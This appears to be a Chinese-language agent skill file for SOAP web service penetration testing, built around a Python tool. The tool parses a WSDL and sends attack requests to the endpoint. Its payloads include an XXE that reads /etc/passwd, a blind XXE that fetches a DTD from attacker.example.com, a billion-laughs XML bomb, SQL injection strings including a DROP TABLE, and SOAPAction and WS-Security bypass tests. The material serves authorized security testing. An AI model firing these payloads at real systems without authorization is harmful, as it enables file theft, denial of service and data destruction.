---

name: performing-soap-web-service-security-testing description: 通过分析 WSDL 定义，测试 XML 注入（XML Injection）、XXE、WS-Security 绕过和 SOAPAction 欺骗，对 SOAP Web 服务执行安全测试。 domain: cybersecurity subdomain: api-security tags: [soap, web-services, wsdl, xml-injection, xxe, ws-security, penetration-testing, soapaction-spoofing, xpath-injection] version: "1.0" author: mahipal license: Apache-2.0

执行 SOAP Web 服务安全测试

概述

SOAP（简单对象访问协议，Simple Object Access Protocol）Web 服务在企业环境、金融系统、医疗健康和政务集成中仍广泛部署。SOAP 服务的安全测试包括：分析 WSDL（Web 服务描述语言）定义以了解可用方法、测试基于 XML 的注入攻击（XXE、XPath 注入、XML 炸弹）、评估 WS-Security 实施正确性、SOAPAction 头欺骗，以及评估认证和授权控制。与 REST API 不同，SOAP 服务使用 XML 信封，并且通常实施可能被错误配置的复杂安全标准。

前置条件

• 目标 SOAP Web 服务端点 URL
• WSDL 文件或服务的 WSDL URL 访问权限
• SoapUI 或 ReadyAPI 用于结构化测试
• 带 SOAP 扩展的 Burp Suite 用于拦截
• Python 3.8+ 及 zeep 和 lxml 库
• 执行安全测试的授权

测试方法论

阶段 1：WSDL 侦察

#!/usr/bin/env python3
"""SOAP Web 服务安全测试工具

分析 WSDL 定义并测试 SOAP 端点中的
常见漏洞，包括 XXE、注入和 WS-Security 错误配置。
"""

import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass

@dataclass
class SOAPOperation:
    name: str
    action: str
    input_message: str
    output_message: str
    parameters: List[Dict]

class SOAPSecurityTester:
    NAMESPACES = {
        'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
        'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
        'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
        'xsd': 'http://www.w3.org/2001/XMLSchema',
        'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
    }

    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
        self.wsdl_url = wsdl_url
        self.endpoint_url = endpoint_url
        self.operations: List[SOAPOperation] = []
        self.findings: List[dict] = []

    def parse_wsdl(self) -> List[SOAPOperation]:
        """解析 WSDL 以提取可用操作和参数。"""
        response = requests.get(self.wsdl_url, timeout=30)
        root = etree.fromstring(response.content)

        # 如果未提供端点 URL，则提取
        if not self.endpoint_url:
            address = root.find('.//soap:address', self.NAMESPACES)
            if address is not None:
                self.endpoint_url = address.get('location')

        # 提取操作
        for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
            name = binding_op.get('name')
            soap_op = binding_op.find('soap:operation', self.NAMESPACES)
            action = soap_op.get('soapAction', '') if soap_op is not None else ''

            operation = SOAPOperation(
                name=name,
                action=action,
                input_message="",
                output_message="",
                parameters=[]
            )
            self.operations.append(operation)

        print(f"[+] 找到 {len(self.operations)} 个 SOAP 操作")
        for op in self.operations:
            print(f"    - {op.name} (SOAPAction: {op.action})")

        return self.operations

    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
        """测试 XML 外部实体（XXE）注入。"""
        xxe_payloads = [
            # 经典 XXE - 文件读取
            {
                "name": "经典 XXE（文件读取）",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&xxe;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # 盲 XXE - 带外
            {
                "name": "盲 XXE（OOB 带外）",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
  %xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>test</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # XML 炸弹（十亿笑声）
            {
                "name": "XML 炸弹（十亿笑声）",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&lol4;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            }
        ]

        results = []
        for xxe in xxe_payloads:
            try:
                response = requests.post(
                    self.endpoint_url,
                    data=xxe["payload"],
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=10
                )

                vulnerable = False
                indicators = []

                if "root:" in response.text or "/bin/" in response.text:
                    vulnerable = True
                    indicators.append("响应中包含文件内容")

                if response.status_code == 200 and "Fault" not in response.text:
                    indicators.append("未返回 XML 解析错误")

                if response.elapsed.total_seconds() > 5:
                    indicators.append("响应缓慢（可能是 XML 炸弹）")
                    vulnerable = True

                result = {
                    "test": xxe["name"],
                    "vulnerable": vulnerable,
                    "status_code": response.status_code,
                    "response_time": response.elapsed.total_seconds(),
                    "indicators": indicators
                }
                results.append(result)

                if vulnerable:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "XXE",
                        "operation": operation.name,
                        "details": xxe["name"]
                    })

            except requests.exceptions.Timeout:
                results.append({
                    "test": xxe["name"],
                    "vulnerable": True,
                    "indicators": ["请求超时 - 可能通过 XML 炸弹造成 DoS"]
                })

        return {"operation": operation.name, "xxe_results": results}

    def test_sql_injection(self, operation: SOAPOperation) -> dict:
        """测试 SOAP 参数中的 SQL 注入。"""
        sqli_payloads = [
            "' OR '1'='1",
            "1; DROP TABLE users--",
            "1' UNION SELECT NULL,NULL,NULL--",
            "' OR 1=1; WAITFOR DELAY '0:0:5'--",
            "admin'/*",
        ]

        results = []
        for payload in sqli_payloads:
            soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>{payload}</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

            try:
                response = requests.post(
                    self.endpoint_url,
                    data=soap_body,
                    headers={
                        "Content-Type": "text/xml; charset=utf-8",
                        "SOAPAction": operation.action,
                    },
                    timeout=15
                )

                sql_errors = [
                    "SQL syntax", "ORA-", "mysql_", "SQLSTATE",
                    "Microsoft OLE DB", "Unclosed quotation mark",
                    "syntax error", "PostgreSQL"
                ]
                error_found = any(err in response.text for err in sql_errors)

                if error_found:
                    self.findings.append({
                        "severity": "CRITICAL",
                        "type": "SQL Injection",
                        "operation": operation.name,
                        "details": f"SQL 错误由以下内容触发：{payload[:30]}..."
                    })

                results.append({
                    "payload": payload,
                    "status_code": response.status_code,
                    "sql_error_detected": error_found,
                    "response_time": response.elapsed.total_seconds()
                })

            except requests.exceptions.RequestException:
                continue

        return {"operation": operation.name, "sqli_results": results}

    def test_soapaction_spoofing(self) -> dict:
        """测试 SOAPAction 头欺骗漏洞。"""
        results = []

        for i, operation in enumerate(self.operations):
            for j, other_op in enumerate(self.operations):
                if i == j:
                    continue

                # 发送带不匹配 SOAPAction 的请求
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation.name}>
      <param>test</param>
    </{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={
                            "Content-Type": "text/xml; charset=utf-8",
                            "SOAPAction": other_op.action,  # 错误的 action
                        },
                        timeout=10
                    )

                    if response.status_code == 200 and "Fault" not in response.text:
                        self.findings.append({
                            "severity": "HIGH",
                            "type": "SOAPAction Spoofing",
                            "operation": operation.name,
                            "details": f"使用 {other_op.name} 的 SOAPAction 被接受"
                        })
                        results.append({
                            "body_operation": operation.name,
                            "spoofed_action": other_op.action,
                            "accepted": True
                        })

                except requests.exceptions.RequestException:
                    continue

        return {"spoofing_results": results}

    def test_ws_security_bypass(self) -> dict:
        """测试 WS-Security 令牌处理。"""
        test_cases = [
            {
                "name": "缺少 WS-Security 头",
                "header": ""
            },
            {
                "name": "空安全令牌",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:UsernameToken>
      <wsse:Username></wsse:Username>
      <wsse:Password></wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>'''
            },
            {
                "name": "已过期时间戳",
                "header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
    xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
    <wsu:Timestamp>
      <wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
      <wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
    </wsu:Timestamp>
  </wsse:Security>'''
            }
        ]

        results = []
        for test in test_cases:
            if self.operations:
                operation = self.operations[0]
                soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    {test["header"]}
  </soapenv:Header>
  <soapenv:Body>
    <{operation.name}><param>test</param></{operation.name}>
  </soapenv:Body>
</soapenv:Envelope>'''

                try:
                    response = requests.post(
                        self.endpoint_url,
                        data=soap_body,
                        headers={"Content-Type": "text/xml; charset=utf-8"},
                        timeout=10
                    )

                    accepted = response.status_code == 200 and "Fault" not in response.text
                    if accepted:
                        self.findings.append({
                            "severity": "CRITICAL",
                            "type": "WS-Security Bypass",
                            "operation": operation.name,
                            "details": test["name"]
                        })

                    results.append({
                        "test": test["name"],
                        "accepted": accepted,
                        "status_code": response.status_code
                    })
                except requests.exceptions.RequestException:
                    continue

        return {"ws_security_results": results}

    def generate_report(self) -> dict:
        """生成综合安全评估报告。"""
        return {
            "target": self.endpoint_url,
            "wsdl": self.wsdl_url,
            "operations_tested": len(self.operations),
            "total_findings": len(self.findings),
            "critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
            "high": len([f for f in self.findings if f["severity"] == "HIGH"]),
            "findings": self.findings
        }


def main():
    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
    tester = SOAPSecurityTester(wsdl_url)

    print(f"[*] 解析 WSDL：{wsdl_url}")
    operations = tester.parse_wsdl()

    for op in operations:
        print(f"\n[*] 测试操作：{op.name}")
        tester.test_xxe_vulnerability(op)
        tester.test_sql_injection(op)

    tester.test_soapaction_spoofing()
    tester.test_ws_security_bypass()

    report = tester.generate_report()
    print(f"\n{'='*60}")
    print(f"SOAP 安全评估报告")
    print(f"{'='*60}")
    print(f"目标：{report['target']}")
    print(f"已测试操作：{report['operations_tested']}")
    print(f"发现：{report['total_findings']} "
          f"（严重：{report['critical']}，高危：{report['high']}）")

    for finding in report['findings']:
        print(f"\n  [{finding['severity']}] {finding['type']}")
        print(f"  操作：{finding['operation']}")
        print(f"  详情：{finding['details']}")


if __name__ == "__main__":
    main()

参考资料

• SecureLayer7 OWASP SOAP 渗透测试：https://blog.securelayer7.net/owasp-top-10-pentesting-mitigating-soap-service-risks/
• BrightSec SOAP 漏洞：https://brightsec.com/blog/top-7-soap-api-vulnerabilities/
• Levo.ai SOAP API 安全测试指南：https://www.levo.ai/resources/blogs/soap-api-security-testing
• SoapUI Web 服务安全测试：https://www.soapui.org/docs/soap-and-wsdl/tips-and-tricks/web-service-hacking/
• PortSwigger XXE 教程：https://portswigger.net/web-security/xxe